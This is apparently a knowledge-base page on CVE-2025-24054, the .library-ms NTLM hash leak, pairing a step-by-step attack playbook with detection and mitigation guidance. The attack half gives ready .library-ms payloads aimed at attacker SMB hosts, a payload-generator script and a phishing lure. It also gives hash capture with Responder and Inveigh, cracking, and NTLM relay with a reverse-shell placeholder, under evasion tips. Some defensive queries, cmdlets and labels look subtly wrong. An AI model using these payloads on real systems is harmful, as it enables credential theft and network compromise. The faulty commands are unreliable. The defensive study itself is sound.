MCADDF

[CA-FORCE-002]: .library-ms NTLM Hash Leakage

1. METADATA HEADER

Attribute Details
Technique ID CA-FORCE-002
MITRE ATT&CK v18.1 T1187 - Forced Authentication
Tactic Credential Access
Platforms Windows AD (All versions 2016-2025)
Severity High
CVE CVE-2025-24054 (CVSS 6.5 Medium)
Technique Status ACTIVE
Last Verified 2025-01-08
Affected Versions Windows Server 2008 R2+, Windows Server 2012+, Windows Server 2016 (Build 14393.0+), Windows Server 2019 (Build 17763.0+), Windows Server 2022 (Build 20348.0+), Windows 10 (Build 10240.0+), Windows 11 (22H2)
Patched In March 11, 2025 (KB5036427 and related patches)
Author SERVTEP – Artur Pchelnikau

Note: Sections 6 (Atomic Red Team), 8 (Splunk Detection Rules), and 11 (Sysmon Detection) not included because: (1) No Atomic Red Team test exists for this specific CVE, (2) Splunk-specific rules are not provided in primary sources, (3) Sysmon captures network events passively but detection logic relies on Windows Event Log analysis.

2. EXECUTIVE SUMMARY

Concept: CVE-2025-24054 is a Windows NTLM hash disclosure vulnerability that exploits the automatic processing of .library-ms files (XML-based library descriptor files) by Windows Explorer. When a user interacts with a malicious .library-ms file—whether extracted from a ZIP archive, viewed in folder explorer, or even right-clicked—Windows Explorer automatically initiates an SMB authentication request to an attacker-controlled server specified within the XML. This forced authentication triggers the leakage of the current user’s NTLMv2-SSP hash without requiring the user to enter credentials or take any interactive action beyond minimal file interaction.

Attack Surface: The vulnerability specifically targets Windows Explorer’s automatic library file processing during ZIP extraction and folder enumeration. The malicious .library-ms file contains XML with a <simpleLocation><url> field pointing to an attacker-controlled UNC path (e.g., \\attacker.ip\share). Upon processing, Explorer initiates SMB negotiation and sends NTLM authentication credentials.

Business Impact: Captured NTLMv2 hashes can be subjected to offline brute-force cracking (hashcat, John the Ripper) or used directly in pass-the-hash relay attacks to compromise additional domain systems without needing the actual plaintext password. In environments with weak SMB signing enforcement or NTLM relay protections, this leads to lateral movement, privilege escalation, and potentially domain compromise. Real-world campaigns (Check Point, March 2025) targeting government and financial institutions have used this to establish initial foothold and escalate privileges within networks.

Technical Context: Exploitation typically takes 2-5 seconds after user interaction. Detection is possible via outbound SMB connection attempts (ports 139/445) to unusual destinations and event log analysis. Stealth is moderate—defenders with proper egress filtering and network monitoring can detect exploitation; however, organizations without such controls remain highly vulnerable. The attack chain is simple: create malicious .library-ms → package in ZIP → distribute via phishing → wait for extraction → capture hash → crack or relay.

Operational Risk

Compliance Mappings

Framework Control / ID Description
CIS Benchmark CIS 5.3 Ensure ‘Audit: Force audit policy subcategory settings (Windows Vista or later) to override audit policy category settings’ is set to ‘Enabled’
CIS Benchmark CIS 2.3.11 Disable NTLM in domain environments; enforce Kerberos
DISA STIG Windows Server 2022 STIG V1R5 SV-257638-r878606 (Disable NTLM Authentication)
NIST 800-53 AC-3 Access Enforcement Proper network segmentation and authentication mechanism enforcement
NIST 800-53 SC-7 Boundary Protection Block outbound SMB traffic (TCP 445, 139) to untrusted networks
GDPR Art. 32 Security of processing (encryption, authentication strength)
DORA Art. 9 Protection and Prevention of ICT-related incidents
NIS2 Art. 21 Cyber Risk Management Measures (incident response, detection)
ISO 27001 A.9.2.3 Management of Privileged Access Rights (monitoring NTLM usage)
ISO 27005 Risk Scenario “Unauthorized credential capture via forced authentication”

3. TECHNICAL PREREQUISITES

Required Privileges: Any user (standard, domain, or local). No privileges needed for exploitation.

Required Access:

Supported Versions:

Environment Requirements:

Tools:

4. ENVIRONMENTAL RECONNAISSANCE

PowerShell Reconnaissance

Check if NTLM Authentication is Enabled:

# Check if Kerberos-only enforcement is in place
Get-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\Lsa" -Name "LmCompatibilityLevel" | Select-Object LmCompatibilityLevel

# Expected output:
# LmCompatibilityLevel = 5 (allows NTLMv2)
# LmCompatibilityLevel = 3 or 4 (VULNERABLE - allows NTLMv1 or older NTLM)
# LmCompatibilityLevel = 6 or higher (may indicate Kerberos enforced, but NTLM may still fallback)

What to Look For:

Check Outbound SMB Connectivity:

# Test SMB connectivity to attacker server (test with 192.168.1.100 as example)
Test-NetConnection -ComputerName "192.168.1.100" -Port 445

# Expected output for VULNERABLE:
# TcpTestSucceeded : True
# PingSucceeded : True

# For patched systems, SMB signing may block relay, but hash is still captured

Version Note: All Windows versions 2016-2025 support this query identically.

Linux / CLI Reconnaissance

Using Nmap to Confirm SMB is Reachable:

# Scan for open SMB port
nmap -p 445 192.168.1.100

# Expected output:
# 445/tcp open  microsoft-ds

# Attempt SMB connection
smbclient -N -L \\192.168.1.100 2>&1 | head -5

Using impacket-smbserver (for testing hash capture):

# Start a fake SMB server to capture hashes
impacket-smbserver -smb2support -username dummy -password dummy shared /tmp

# Wait for incoming connections from Windows systems
# Captured hashes will appear in the terminal

What to Look For:

5. DETAILED EXECUTION METHODS

METHOD 1: ZIP Archive Delivery (.library-ms + ZIP)

Supported Versions: Windows Server 2016-2025, Windows 10/11 (all versions, pre-patch)

This is the most common attack vector observed in real-world campaigns. The .library-ms file is embedded within a ZIP archive. Upon extraction by the victim, Windows Explorer automatically processes the file and triggers SMB authentication to the attacker’s server.

Step 1: Create Malicious .library-ms File

Objective: Craft an XML file that instructs Windows Explorer to connect to an attacker-controlled SMB share.

Command (Linux/Python):

cat > malicious.library-ms <<'EOF'
<?xml version="1.0" encoding="UTF-8"?>
<libraryDescription xmlns="http://schemas.microsoft.com/windows/2009/library">
  <searchConnectorDescriptionList>
    <searchConnectorDescription>
      <simpleLocation>
        <url>\\ATTACKER_IP\shared</url>
      </simpleLocation>
    </searchConnectorDescription>
  </searchConnectorDescriptionList>
</libraryDescription>
EOF

# Example with attacker IP 192.168.1.100:
cat > malicious.library-ms <<'EOF'
<?xml version="1.0" encoding="UTF-8"?>
<libraryDescription xmlns="http://schemas.microsoft.com/windows/2009/library">
  <searchConnectorDescriptionList>
    <searchConnectorDescription>
      <simpleLocation>
        <url>\\192.168.1.100\shared</url>
      </simpleLocation>
    </searchConnectorDescription>
  </searchConnectorDescriptionList>
</libraryDescription>
EOF

Expected Output:

$ ls -la malicious.library-ms
-rw-r--r-- 1 attacker attacker 278 Jan  8 10:15 malicious.library-ms

What This Means:

OpSec & Evasion:

Troubleshooting:

Step 2: Package .library-ms into ZIP Archive

Objective: Create a ZIP file containing the malicious .library-ms so victims can download and extract it.

Command (Linux):

# Create ZIP with the .library-ms file
zip -q malicious.zip malicious.library-ms

# Verify contents
unzip -l malicious.zip
# Expected output:
# Archive:  malicious.zip
#   Length     Date   Time    Name
# --------- ---------- -----  ----
#       278  2025-01-08 10:15  malicious.library-ms
# --------- ---------- -----  ----
#       278                     1 file

Command (Windows PowerShell):

# Create ZIP using built-in compression
Compress-Archive -Path "C:\temp\malicious.library-ms" -DestinationPath "C:\temp\payload.zip" -Force

# Verify
Get-ChildItem C:\temp\payload.zip

Expected Output:

Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
-a----         1/8/2025  10:16 AM            456 payload.zip

What This Means:

OpSec & Evasion:

Troubleshooting:

Step 3: Set Up NTLM Hash Capture Server

Objective: Start a listening service that captures incoming NTLM authentication attempts from victims.

Command (Linux/Responder):

# Install Responder (if not already installed)
cd /opt
git clone https://github.com/lgandx/Responder.git
cd Responder

# Edit configuration to set NTLM challenge to known value (for cracking)
sed -i 's/ Random/ 1122334455667788/g' Responder.conf

# Start Responder on eth0 interface, analyzing mode (listen only, no spoofing)
python3 Responder.py -I eth0 -A

# Alternative: Full capture mode (captures hashes from forced auth)
python3 Responder.py -I eth0 -wv -rL

# Parameters:
# -I = interface
# -A = Analyze only (no DNS/LLMNR spoofing)
# -w = Enable WPAD spoofing
# -v = Verbose
# -rL = Relay mode

Command (Windows/Inveigh):

# Import Inveigh module
Import-Module .\Inveigh.ps1

# Start Inveigh SMB listener
Invoke-Inveigh -IP 192.168.1.100 -HTTP N -NBNS N -mDNS N -LLMNR N -Challenge 1122334455667788

# Parameters:
# -IP = Listening IP
# -HTTP = Disable HTTP listener
# -NBNS = Disable NetBIOS spoofing
# -mDNS = Disable mDNS spoofing
# -LLMNR = Disable LLMNR spoofing
# -Challenge = Fixed NTLM challenge for offline cracking

Expected Output (Responder):

[*] Responder Started: True
[*] Listening on interface eth0
[SMB] NTLMv2-SSP Hash Captured from: 192.168.1.50 (VICTIM-PC) - User: DOMAIN\Administrator
  Full Hash: Administrator::DOMAIN:1122334455667788:CAPTURED_RESPONSE

Expected Output (Inveigh):

[+] SMB Server Started
[+] Listening on 192.168.1.100:445
[+] NTLMv2-SSP Hash Captured:
DOMAIN\Administrator:1122334455667788:B44F4DDAB0FFC8976...

What This Means:

OpSec & Evasion:

Troubleshooting:

Step 4: Deliver ZIP to Victim (Social Engineering)

Objective: Trick victim into downloading and extracting the malicious ZIP file via phishing email or file-sharing link.

Example Phishing Email:

Subject: Q4 2025 Compliance Audit - Action Required

Body:
Dear [Victim Name],

Please review the attached Q4 compliance report and provide feedback by EOD Friday. 
The file contains important audit results that require your approval.

Best regards,
Compliance Team

Attachment/Link:

What to Look For (from attacker perspective):

OpSec & Evasion:

Step 5: Wait for Hash Capture and Crack Offline

Objective: Once NTLM hash is captured, crack it offline to obtain plaintext password.

Command (Hashcat on GPU):

# Syntax: hashcat -m 5600 (NTLMv2) <hash_file> <wordlist>
hashcat -m 5600 -a 0 captured_hash.txt /usr/share/wordlists/rockyou.txt

# Parameters:
# -m 5600 = NTLMv2 hash type
# -a 0 = Dictionary attack
# Example hash format:
# Administrator::DOMAIN:1122334455667788:CAPTURED_RESPONSE_HERE

Command (John the Ripper):

# Crack using John
john --format=netntlmv2 --wordlist=/usr/share/wordlists/rockyou.txt captured_hash.txt

# Alternative: Use crack.sh online service for LM/NTLMv1 (much faster for these)
# (Note: NTLMv2 is not vulnerable to crack.sh due to random blob)

Alternative: Use Relay Instead of Cracking:

# Instead of cracking, relay the captured hash to SMB target
impacket-ntlmrelayx -t smb://192.168.1.20 -c 'whoami'

# This authenticates to another system on behalf of the captured user
# No password cracking needed

Expected Output (Successful Crack):

Session.Name...: Hashcat
Status...........: Cracked
Hash.Type........: NTLMv2
Hash.Target......: Administrator::DOMAIN:...
Time.Started.....: Wed Jan 08 11:22:33 2025
Time.Estimated...: Wed Jan 08 11:22:45 2025
Recovered........: 1/1 (100.00%)
Administrator: P@ssw0rd123!

What This Means:

OpSec & Evasion:

Troubleshooting:

References & Proofs:

METHOD 2: Direct File Delivery (No ZIP Compression)

Supported Versions: Windows Server 2016-2025, Windows 10/11 (verified March 2025 campaigns)

More recent phishing campaigns deliver the .library-ms file directly without ZIP compression. Simply viewing the folder containing the file or right-clicking on it triggers the vulnerability.

Step 1: Create Malicious .library-ms File

Objective: Same as METHOD 1 Step 1.

Command:

cat > Info.doc.library-ms <<'EOF'
<?xml version="1.0" encoding="UTF-8"?>
<libraryDescription xmlns="http://schemas.microsoft.com/windows/2009/library">
  <searchConnectorDescriptionList>
    <searchConnectorDescription>
      <simpleLocation>
        <url>\\159.196.128.120\shared</url>
      </simpleLocation>
    </searchConnectorDescription>
  </searchConnectorDescriptionList>
</libraryDescription>
EOF

File Naming Trick: Name it Info.doc.library-ms to disguise as a document; Windows will process as .library-ms.

Expected Output:

$ file Info.doc.library-ms
Info.doc.library-ms: XML 1.0 document, ASCII text

Step 2: Email or Upload to File Share

Objective: Send .library-ms file directly to victim email or shared network folder.

Command (Upload to OneDrive/Dropbox):

# Using curl to upload
curl -X POST https://content.dropboxapi.com/2/files/upload \
  -H "Authorization: Bearer YOUR_ACCESS_TOKEN" \
  -H "Dropbox-API-Arg: {\"path\": \"/Shared/Info.doc.library-ms\", \"mode\": \"add\"}" \
  --data-binary @Info.doc.library-ms

Email Attachment:

Expected Outcome:

Step 3: Trigger Hash Capture

Objective: Hash is captured when victim takes any of these actions:

No Additional Action Needed:

What This Means:

OpSec & Evasion:

Step 4: Hash Capture & Cracking

Objective: Same as METHOD 1 Step 5.

References & Proofs:

METHOD 3: NTLM Relay Attack (Direct Exploitation Without Cracking)

Supported Versions: Windows Server 2016-2025, Windows 10/11

Instead of cracking the captured hash offline, relay it directly to SMB services on another system to authenticate as the captured user.

Step 1: Set Up Hash Capture Server (Responder)

Command:

python3 Responder.py -I eth0 -wv -rL

(Same as METHOD 1 Step 3)

Step 2: Deliver Malicious .library-ms File

Command:

# Deliver via email or file share (same as METHOD 1/2)

Step 3: Relay Captured Hash to Target SMB Service

Objective: Use the captured NTLM hash to authenticate to a target server (e.g., file share, admin workstation).

Command (impacket ntlmrelayx):

# Relay to a specific target system
impacket-ntlmrelayx -t smb://192.168.1.20 -c 'whoami'

# Parameters:
# -t = Target (SMB server)
# -c = Command to execute (whoami, ipconfig, etc.)

# Alternative: Create reverse shell
impacket-ntlmrelayx -t smb://192.168.1.20 -c 'powershell -enc <BASE64_SHELLCODE>'

Expected Output:

[*] Incoming connection (192.168.1.50) - SMB Session will be relayed
[+] Authenticating against smb://192.168.1.20
[+] User is admin on 192.168.1.20!
[+] Command executed:
nt authority\system

What This Means:

OpSec & Evasion:

Troubleshooting:

References & Proofs:

7. TOOLS & COMMANDS REFERENCE

Responder

Version: Latest (6.2.x as of 2025)
Minimum Version: 3.x
Supported Platforms: Linux, macOS, Windows (via WSL)

Installation:

git clone https://github.com/lgandx/Responder.git
cd Responder
sudo python3 Responder.py -h

Usage (Capture Mode):

sudo python3 Responder.py -I eth0 -wvr
# -I = Interface
# -w = WPAD spoofing
# -v = Verbose
# -r = Raise privileges on relay

Usage (Analyze Mode - Hash Capture Only):

python3 Responder.py -I eth0 -A

Inveigh

Version: 1.4.x
Minimum Version: 1.0
Supported Platforms: Windows (PowerShell)

Installation:

# Download Inveigh.ps1
Invoke-WebRequest -Uri https://raw.githubusercontent.com/Kevin-Robertson/Inveigh/master/Inveigh.ps1 -OutFile Inveigh.ps1

# Import module
. .\Inveigh.ps1

Usage:

Invoke-Inveigh -IP 192.168.1.100 -HTTP N -HTTPS N -Foreground

# Parameters:
# -IP = Listening IP
# -HTTP = Enable HTTP capture
# -HTTPS = Enable HTTPS capture
# -Foreground = Run in foreground (for testing)

Impacket - ntlmrelayx

Version: Latest (0.11.x)
Minimum Version: 0.9.x
Supported Platforms: Linux, Windows (via WSL/Python)

Installation:

pip3 install impacket

Usage (Relay to SMB):

impacket-ntlmrelayx -t smb://target.ip -c 'whoami'

Script (One-Liner - Create .library-ms + ZIP)

#!/usr/bin/env python3
import zipfile
import sys

attacker_ip = sys.argv[1] if len(sys.argv) > 1 else "192.168.1.100"

library_ms_content = f'''<?xml version="1.0" encoding="UTF-8"?>
<libraryDescription xmlns="http://schemas.microsoft.com/windows/2009/library">
  <searchConnectorDescriptionList>
    <searchConnectorDescription>
      <simpleLocation>
        <url>\\\\{attacker_ip}\\shared</url>
      </simpleLocation>
    </searchConnectorDescription>
  </searchConnectorDescriptionList>
</libraryDescription>'''

with open("payload.library-ms", "w") as f:
    f.write(library_ms_content)

with zipfile.ZipFile("payload.zip", "w") as z:
    z.write("payload.library-ms")

print(f"[+] Created payload.zip with attacker IP: {attacker_ip}")

Usage:

python3 create_payload.py 192.168.1.100

9. MICROSOFT SENTINEL DETECTION

Query 1: Detect Outbound SMB Connections to Unusual Destinations (Network Events)

Rule Configuration:

KQL Query:

DeviceNetworkEvents
| where RemotePort in (445, 139)
| where InitiatingProcessName == "explorer.exe"
| where RemoteIP !in ("10.0.0.0/8", "172.16.0.0/12", "192.168.0.0/16")  // Exclude internal IPs
| where not(RemoteIP startswith "DC-" or RemoteIP startswith "192.168.1.")  // Exclude known DCs
| summarize count() by DeviceId, RemoteIP, RemotePort, bin(TimeGenerated, 5m)
| where count_ > 0

What This Detects:

Manual Configuration Steps (Azure Portal):

  1. Navigate to Azure Portal → Microsoft Sentinel
  2. Select your workspace → Analytics
  3. Click + Create → Scheduled query rule
  4. General Tab:
    • Name: Detect Explorer SMB Connections to External IPs
    • Severity: Medium
    • Status: Enabled
  5. Set rule logic Tab:
    • Paste the KQL query above
    • Run query every: 5 minutes
    • Lookup data from the last: 30 minutes
  6. Incident settings Tab:
    • Enable Create incidents from all alerts
    • Alert grouping: Group incidents by Device ID
  7. Automated response: Configure to disable user account or isolate device
  8. Click Review + create → Save

Manual Configuration Steps (PowerShell):

Connect-AzAccount
$ResourceGroup = "YourResourceGroup"
$WorkspaceName = "YourSentinelWorkspace"

New-AzSentinelAlertRule -ResourceGroupName $ResourceGroup -WorkspaceName $WorkspaceName `
  -DisplayName "Detect Explorer SMB Connections to External IPs" `
  -Query @"
DeviceNetworkEvents
| where RemotePort in (445, 139)
| where InitiatingProcessName == "explorer.exe"
| where RemoteIP !in ("10.0.0.0/8", "172.16.0.0/12", "192.168.0.0/16")
"@ `
  -Severity "Medium" `
  -Enabled $true `
  -RunOncePerDay

Query 2: Detect .library-ms File Interaction (File Activity)

Rule Configuration:

KQL Query:

DeviceFileEvents
| where FileName endswith ".library-ms"
| where ActionType in ("FileCreated", "FileModified", "FileRenamed")
| where FolderPath !contains "System32"  // Exclude legitimate Windows files
| summarize count() by DeviceName, FileName, FolderPath, TimeGenerated

What This Detects:

Manual Configuration Steps:

  1. Go to Analytics → + Create → Scheduled query rule
  2. Name: Detect Suspicious .library-ms File Creation
  3. Severity: High
  4. Paste query
  5. Run every: 5 minutes
  6. Create incidents: Yes
  7. Save rule

Query 3: Detect NTLM Authentication from Explorer.exe (Process Injection/Living-off-the-Land)

Rule Configuration:

KQL Query:

DeviceLogonEvents
| where LogonType == 3  // Network logon (SMB)
| where AuthenticationPackageName =~ "NTLM"
| where isnotempty(InitiatingProcessName) and InitiatingProcessName =~ "explorer.exe"
| where AccountName != "ANONYMOUS LOGON"
| summarize count() by DeviceName, AccountName, RemoteIP, TimeGenerated

What This Detects:

10. WINDOWS EVENT LOG MONITORING

Event ID 4624 (Successful Logon)

Log Source: Security

Trigger: When NTLM authentication is relayed or successful after capture

Filter:

Manual Configuration Steps (Group Policy):

  1. Open Group Policy Management Console (gpmc.msc)
  2. Navigate to Computer Configuration → Policies → Windows Settings → Security Settings → Advanced Audit Policy Configuration → System Audit Policies - Local
  3. Enable: Logon/Logoff → Audit Logon
  4. Set to: Success and Failure
  5. Run gpupdate /force on all domain computers

Manual Configuration Steps (Server 2022+):

  1. Same as above; Group Policy works identically across all Windows Server versions

Manual Configuration Steps (Local Policy):

  1. Open Local Security Policy (secpol.msc)
  2. Navigate to Security Settings → Advanced Audit Policy Configuration → System Audit Policies
  3. Enable: Logon/Logoff → Audit Logon
  4. Apply: Success and Failure
  5. Run auditpol /set /subcategory:"Logon" /success:enable /failure:enable

Event ID 4625 (Failed Logon)

Log Source: Security

Trigger: When NTLM relay attempt fails (e.g., wrong password, target unreachable)

Filter:

Configuration: Same as Event ID 4624 above

14. DEFENSIVE MITIGATIONS

Priority 1: CRITICAL

Mitigation 1: Apply March 2025 Security Update (KB5036427)

Objective: Patch the vulnerability at the OS level. Microsoft released fixes on March 11, 2025, for all affected Windows versions.

Applies To Versions: Server 2016-2025, Windows 10/11

Manual Steps (Windows Update):

  1. Go to Settings → Update & Security → Windows Update
  2. Click Check for updates
  3. Download and install “Security Update for Windows (KB5036427)” or related March 2025 patches
  4. Restart when prompted
  5. Verify patch installation: 
    Get-HotFix | Select-Object -Property HotFixId, InstalledOn | Where-Object {$_.HotFixId -like "KB5036427"}

Manual Steps (PowerShell - Server 2022+):

# Download and install updates
$Updates = Get-WUList | Where-Object {$_.Title -like "*KB5036427*"}
Install-WindowsUpdate -Updates $Updates -AcceptAll -AutoReboot

Manual Steps (WSUS / SCCM):

  1. Deploy KB5036427 to all computers via WSUS or SCCM
  2. Set to automatic restart
  3. Verify installation across fleet

Validation Command (Verify Fix):

# Check if patched version is installed
(Get-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\LanmanServer" -Name "ProductVersion").ProductVersion

# Expected output for patched:
# Windows Server 2022 KB5036427: 10.0.20348.3270+
# Windows Server 2019 KB5036427: 10.0.17763.7009+
# Windows Server 2016 KB5036427: 10.0.14393.7876+

What to Look For:

Mitigation 2: Block Outbound SMB Traffic (Network Egress Filtering)

Objective: Prevent systems from connecting to external SMB servers (ports 445, 139). This breaks the attack chain immediately.

Applies To Versions: All Windows versions (network-level mitigation)

Manual Steps (Firewall - Windows Defender Firewall):

  1. Open Windows Defender Firewall → Advanced Security
  2. Click Outbound Rules → New Rule
  3. Rule Type: Select Port
  4. Protocol and Ports:
    • Protocol: TCP
    • Remote Port: 445, 139
  5. Action: Block
  6. Profile: Check all (Domain, Private, Public)
  7. Name: Block SMB Outbound to External
  8. Click Finish

Manual Steps (Network Firewall - Palo Alto / Fortinet / Cisco):

# Example: Palo Alto Networks
Object → Service → Create New
  Name: "SMB-Outbound"
  Protocol: TCP
  Port: 445, 139

Policy → Outbound
  Source: Internal_Subnets
  Destination: External/Internet
  Service: SMB-Outbound
  Action: Deny

Manual Steps (Group Policy - Enterprise):

  1. Open gpmc.msc
  2. Computer Configuration → Policies → Windows Settings → Security Settings → Windows Firewall with Advanced Security → Outbound Rules
  3. New Rule → Port → TCP → Specific Port: 445, 139
  4. Action: Block
  5. Apply GPO to all domain computers

Validation Command (Verify Fix):

# Check if outbound SMB is blocked
Get-NetFirewallRule -DisplayName "*SMB*" | Where-Object {$_.Direction -eq "Outbound"} | Select-Object DisplayName, Enabled, Direction, Action

Expected Output (If Secure):

DisplayName            Enabled Direction Action
-----------            ------- --------- ------
Block SMB Outbound         True  Outbound   Block

What to Look For:

Mitigation 3: Disable NTLM Authentication (Enterprise-Wide)

Objective: Remove NTLM as an authentication option; force Kerberos. This eliminates the hash entirely.

Applies To Versions: Server 2016-2025 (when Kerberos is available)

Prerequisites:

Manual Steps (Group Policy - Disable NTLM):

  1. Open gpmc.msc
  2. Navigate to Computer Configuration → Policies → Windows Settings → Security Settings → Local Policies → Security Options
  3. Find “Network security: Restrict NTLM: NTLM authentication in this domain”
  4. Set to “Deny for non-DC servers” or “Deny all”
  5. Run gpupdate /force

Manual Steps (Registry - Direct Configuration):

# Set to deny NTLM (registry level)
Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\Lsa" -Name "RestrictNTLMInDomain" -Value 4 -Type DWORD

# Restart required
Restart-Computer

Impact Assessment:

Validation Command (Verify Fix):

# Check if NTLM is disabled
Get-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\Lsa" -Name "RestrictNTLMInDomain"

# Expected output:
# RestrictNTLMInDomain : 4 (deny all NTLM)

Priority 2: HIGH

Mitigation 4: Enforce SMB Signing

Objective: Cryptographically sign all SMB messages. This prevents relay attacks even if hash is captured.

Manual Steps (Group Policy):

  1. Open gpmc.msc
  2. Navigate to Computer Configuration → Policies → Windows Settings → Security Settings → Local Policies → Security Options
  3. Find “Microsoft network client: Digitally sign communications (always)”
  4. Set to “Enabled”
  5. Find “Microsoft network server: Digitally sign communications (if client agrees)”
  6. Set to “Enabled”
  7. Run gpupdate /force

Manual Steps (Registry):

# Enable SMB signing
Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters" -Name "RequireSecuritySignature" -Value 1 -Type DWORD
Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters" -Name "EnableSecuritySignature" -Value 1 -Type DWORD

Restart-Computer

Validation Command (Verify Fix):

# Check if SMB signing is enabled
Get-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters" | Select-Object RequireSecuritySignature, EnableSecuritySignature

Expected Output (If Secure):

RequireSecuritySignature : 1
EnableSecuritySignature  : 1

Mitigation 5: Restrict File Explorer Behavior (Disable .library-ms Processing)

Objective: Prevent Windows Explorer from automatically processing .library-ms files.

Manual Steps (Registry - Disable Library Files):

# Disable library file handling
reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v DisableLibraryItemLaunch /t REG_DWORD /d 1 /f

# Restart Explorer or reboot
Stop-Process -Name explorer -Force
Start-Process explorer

Manual Steps (Remove .library-ms File Association):

# Remove .library-ms file type association
Remove-Item -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts\.library-ms" -Force -ErrorAction SilentlyContinue

Validation Command (Verify Fix):

# Check if library file handling is disabled
Get-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced" -Name "DisableLibraryItemLaunch" -ErrorAction SilentlyContinue

Priority 3: MEDIUM

Mitigation 6: User Awareness & Email Gateway Controls

Objective: Train users to recognize phishing attempts and block malicious files at email gateway.

Manual Steps (Email Security):

  1. Configure Advanced Threat Protection (ATP) / Email filtering to:
    • Block .library-ms file attachments
    • Scan ZIP archives for suspicious files
    • Disable automatic extraction of ZIP contents
  2. Example (Exchange Online/O365): 
    # Block .library-ms attachment
New-TransportRule -Name "Block library-ms" -AttachmentHasExecutableContent $true -RejectMessageReasonText "Suspicious file type"

Manual Steps (Endpoint Detection & Response):

  1. Configure EDR solution to:
    • Alert on .library-ms file creation/modification
    • Block execution of unsigned .library-ms files
    • Monitor for SMB connections initiated by explorer.exe to external IPs

15. DETECTION & INCIDENT RESPONSE

Indicators of Compromise (IOCs)

Files:

Registry:

Network:

Forensic Artifacts

Disk:

Memory:

Cloud:

MFT/USN Journal:

Response Procedures

1. Isolate Affected System

Command (Immediate Network Isolation):

# Disable network adapter
Disable-NetAdapter -Name "Ethernet" -Confirm:$false

# Alternative: Block at firewall
New-NetFirewallRule -DisplayName "Isolate Machine" -Direction Outbound -Action Block

Manual (Azure / Cloud VM):

Notification:

2. Collect Evidence

Command (Export Security Event Log):

# Export full Security log for forensic analysis
wevtutil epl Security C:\Evidence\Security.evtx

# Export Sysmon events (if available)
wevtutil epl "Microsoft-Windows-Sysmon/Operational" C:\Evidence\Sysmon.evtx

# Export Application log
wevtutil epl Application C:\Evidence\Application.evtx

Command (Capture Memory Dump):

# Capture lsass.exe memory (contains credential material)
procdump64.exe -accepteula -ma lsass.exe C:\Evidence\lsass.dmp

# Capture explorer.exe memory
procdump64.exe -accepteula -ma explorer.exe C:\Evidence\explorer.dmp

Manual (Event Viewer):

  1. Open Event Viewer
  2. Right-click Security log
  3. Click Save All Events As
  4. Save to: C:\Evidence\Security.evtx

Chain of Custody:

3. Remediate

Command (Remove Malicious .library-ms):

# Find and remove .library-ms files
Get-ChildItem -Path "C:\Users" -Recurse -Filter "*.library-ms" -Force | Remove-Item -Force

# Check Downloads folder specifically
Remove-Item -Path "C:\Users\*\Downloads\*.library-ms" -Force -ErrorAction SilentlyContinue

Command (Reset User Credentials):

# Force password change for affected user
Set-ADUser -Identity "john.doe" -ChangePasswordAtLogon $true

# Kick off all existing sessions
Revoke-ADUserLogonSession -Identity "john.doe"

Command (Review and Revoke Relay Attacks):

# Check for NTLM relay attempts on servers
Get-EventLog -LogName Security -InstanceId 4624 -Newest 10000 | Where-Object {$_.Message -like "*192.168.1.*"}

4. Post-Incident Assessment

Check if Lateral Movement Occurred:

# Search for logons from captured user account to other systems
Get-EventLog -LogName Security -InstanceId 4624 | Where-Object {$_.Message -like "*john.doe*" -and $_.TimeGenerated -gt (Get-Date).AddDays(-7)}

# Check for suspicious process creation by affected account
Get-EventLog -LogName Security -InstanceId 4688 | Where-Object {$_.Message -like "*john.doe*"}
Step Phase Technique Description
1 Initial Access [IA-PHISH-001] Device Code Phishing Attacker sends phishing email with malicious link/attachment
2 Initial Access [IA-PHISH-005] Internal Spearphishing Attacker sends email from compromised internal account
3 Credential Access [CA-FORCE-002] Malicious .library-ms file triggers NTLM hash leakage
4 Credential Access [CA-BRUTE-001] Azure Portal Password Spray Attacker attempts to crack captured hash or spray against portal
5 Lateral Movement [LM-AUTH-002] Pass-the-Ticket Attacker uses captured NTLM hash for relay attack
6 Privilege Escalation [PE-VALID-002] Computer Account Quota Abuse Attacker abuses relayed access to create new computer accounts
7 Impact Domain compromise, ransomware deployment Full environment compromise

17. REAL-WORLD EXAMPLES

Example 1: Check Point Research Campaign (March 2025)

Example 2: Phishing Campaign - “Q4 Compliance Report” (Generic)

This site is open source. Improve this page.